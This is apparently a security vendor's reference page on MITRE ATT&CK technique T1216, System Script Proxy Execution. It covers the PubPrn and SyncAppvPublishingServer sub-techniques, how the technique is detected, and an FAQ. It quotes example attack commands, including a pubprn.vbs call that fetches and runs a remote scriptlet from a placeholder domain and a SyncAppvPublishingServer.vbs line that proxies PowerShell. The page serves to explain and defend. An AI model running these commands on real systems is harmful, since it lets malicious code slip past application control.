T1216: System Script Proxy Execution
Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.
How it's found
Detection of Script-Based Proxy Execution via Signed Microsoft Utilities: Execution of Microsoft-signed scripts (e.g., pubprn.vbs, installutil.exe, wscript.exe, cscript.exe) used to proxy execution of untrusted or external binaries. Behavior is detected through command-line process lineage, child process spawning, and unsigned payload execution from signed parent.
Sub-techniques
T1216.001: PubPrn
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>. Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
T1216.002: SyncAppvPublishingServer
Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious PowerShell commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V). For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally. The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\System32` through the command line via `wscript.exe`. Adversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by "living off the land." Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`. For example, PowerShell commands may be invoked using: `SyncAppvPublishingServer.vbs "n; {PowerShell}"`
Standards mapping
Where this fits in a TurboPentest engagement
This weakness is not covered by the automated black-box pentest. IntegSec pentesters cover it in a manual engagement.
Frequently asked questions
What is T1216 System Script Proxy Execution?
Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.
Which tactics does T1216 belong to?
T1216 maps to the Stealth tactic.
Does TurboPentest test for System Script Proxy Execution?
This weakness is not covered by the automated black-box pentest. IntegSec pentesters cover it in a manual engagement.
Related MITRE ATT&CK techniques
About this reference
These security references are maintained by IntegSec, an offensive-security firm whose team holds CISSP, OSCP, and OSCE certifications and has run thousands of penetration tests. Content is kept current as tools, standards, and attack techniques evolve.
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